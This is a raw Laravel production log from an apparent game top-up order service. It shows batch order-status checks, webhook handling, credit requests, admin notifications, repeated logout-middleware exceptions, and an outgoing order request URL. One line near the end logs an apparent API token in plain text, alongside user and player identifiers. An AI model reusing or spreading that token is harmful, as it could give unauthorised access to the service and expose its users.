#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:18:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02"} 
[2026-03-24 22:18:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","total_operations":3,"sites_count":2} 
[2026-03-24 22:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-ILN7-1774379733","ORD-wgI-1774379855"]} 
[2026-03-24 22:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 22:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 22:18:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":1,"skipped":1,"updates_prepared":1} 
[2026-03-24 22:18:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:18:02] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-ILN7-1774379733","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 22:18:02] production.INFO: Processed webhook data (normalized) {"id":"ORD-ILN7-1774379733","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 22:18:02] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 22:18:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"count":1} 
[2026-03-24 22:18:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"count":1} 
[2026-03-24 22:18:02] production.ERROR: Order not found or already processed. External ID: ORD-ILN7-1774379733  
[2026-03-24 22:18:02] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-ILN7-1774379733","status":"completed","codes_count":0} 
[2026-03-24 22:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"user_id":29,"notification_type":"order_approved","reference_id":179457} 
[2026-03-24 22:18:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:18:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:18:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":1,"errors":0} 
[2026-03-24 22:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"processed":1,"errors":0} 
[2026-03-24 22:18:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1,"order_ids":["ORD-Ah6ud-1774379773"]} 
[2026-03-24 22:18:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332} 
[2026-03-24 22:18:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-wgI-1774379855","operation_id":164332,"orders_count":1} 
[2026-03-24 22:18:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"processed":1,"skipped":0,"updates_prepared":1} 
[2026-03-24 22:18:02] production.INFO: Starting chunked batch processing {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"total_items":1,"chunks":1,"chunk_size":10} 
[2026-03-24 22:18:02] production.INFO: Bulk updated operations {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"count":1} 
[2026-03-24 22:18:02] production.INFO: Bulk updated orders {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"count":1} 
[2026-03-24 22:18:02] production.INFO: SendAcceptReject: Notification queued {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"user_id":1551,"notification_type":"order_approved","reference_id":179458} 
[2026-03-24 22:18:02] production.INFO: Chunk 1 processing completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"chunk_number":1,"processed":1,"errors":0,"total_operations":1,"total_orders":1,"total_codes":0,"total_refunds":0} 
[2026-03-24 22:18:02] production.INFO: Batch processing completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"total_processed":1,"total_errors":0,"chunks_processed":1} 
[2026-03-24 22:18:02] production.INFO: Batch update completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"processed":1,"errors":0} 
[2026-03-24 22:18:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331,"processed":1,"errors":0} 
[2026-03-24 22:18:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"KFebJJiIP1Tk0ijVUad4vP79R72qbJtn","execution_time":"2026-03-24 22:18:02","site_id":4,"site_name":"swgamessls","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ah6ud-1774379773","operation_id":164331} 
[2026-03-24 22:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 29  
[2026-03-24 22:18:02] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1551  
[2026-03-24 22:18:27] production.INFO: Creating credit request {"payload":{"method_id":"9","amount":"300.0","mainamount":"300","operation_number":"600431149292","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpjnb6emk98pdk2JMQNNQ"}},"user_id":1471} 
[2026-03-24 22:18:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 22:18:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 22:18:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 22:18:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 22:18:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 22:18:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 22:18:30] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 22:18:30] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 22:18:30] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18723,"user_id":1471,"amount":300.0,"admins_notified":7} 
[2026-03-24 22:18:52] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:18:57] production.ERROR: Method Illuminate\Auth\RequestGuard::logout does not exist. {"userId":1759,"exception":"[object] (BadMethodCallException(code: 0): Method Illuminate\\Auth\\RequestGuard::logout does not exist. at /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Macroable/Traits/Macroable.php:115)
[stacktrace]
#0 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/AuthManager.php(333): Illuminate\\Auth\\RequestGuard->__call('logout', Array)
#1 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Support/Facades/Facade.php(363): Illuminate\\Auth\\AuthManager->__call('logout', Array)
#2 /home/talaah/public_html/app/Http/Middleware/CheckUserStatus.php(45): Illuminate\\Support\\Facades\\Facade::__callStatic('logout', Array)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): App\\Http\\Middleware\\CheckUserStatus->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Middleware/SubstituteBindings.php(50): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Routing\\Middleware\\SubstituteBindings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Auth/Middleware/Authenticate.php(63): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Auth\\Middleware\\Authenticate->handle(Object(Illuminate\\Http\\Request), Object(Closure), 'sanctum')
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(821): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(800): Illuminate\\Routing\\Router->runRouteWithinStack(Object(Illuminate\\Routing\\Route), Object(Illuminate\\Http\\Request))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(764): Illuminate\\Routing\\Router->runRoute(Object(Illuminate\\Http\\Request), Object(Illuminate\\Routing\\Route))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Routing/Router.php(753): Illuminate\\Routing\\Router->dispatchToRoute(Object(Illuminate\\Http\\Request))
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(200): Illuminate\\Routing\\Router->dispatch(Object(Illuminate\\Http\\Request))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Foundation\\Http\\Kernel->{closure:Illuminate\\Foundation\\Http\\Kernel::dispatchToRouter():197}(Object(Illuminate\\Http\\Request))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(Illuminate\\Http\\Request))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/ConvertEmptyStringsToNull.php(31): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\ConvertEmptyStringsToNull->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TransformsRequest.php(21): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/TrimStrings.php(51): Illuminate\\Foundation\\Http\\Middleware\\TransformsRequest->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\TrimStrings->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePostSize.php(27): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePostSize->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/PreventRequestsDuringMaintenance.php(109): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\PreventRequestsDuringMaintenance->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/HandleCors.php(61): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\HandleCors->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/TrustProxies.php(58): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\TrustProxies->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#29 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Middleware/InvokeDeferredCallbacks.php(22): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Foundation\\Http\\Middleware\\InvokeDeferredCallbacks->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#31 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Http/Middleware/ValidatePathEncoding.php(26): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#32 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(219): Illuminate\\Http\\Middleware\\ValidatePathEncoding->handle(Object(Illuminate\\Http\\Request), Object(Closure))
#33 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:{closure:Illuminate\\Pipeline\\Pipeline::carry():194}:195}(Object(Illuminate\\Http\\Request))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(175): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(144): Illuminate\\Foundation\\Http\\Kernel->sendRequestThroughRouter(Object(Illuminate\\Http\\Request))
#36 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1220): Illuminate\\Foundation\\Http\\Kernel->handle(Object(Illuminate\\Http\\Request))
#37 /home/talaah/public_html/public/index.php(17): Illuminate\\Foundation\\Application->handleRequest(Object(Illuminate\\Http\\Request))
#38 {main}
"} 
[2026-03-24 22:19:54] production.INFO: Constructing job for order: 179463  
[2026-03-24 22:19:57] production.INFO: Handling job for order: 179463  
[2026-03-24 22:19:57] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 22:19:57] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 22:19:57] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/55/params?qty=1&uuid=a27c89da-86f9-4cbb-85b4-dbc1eb6d8748&Player_ID=5667721871  
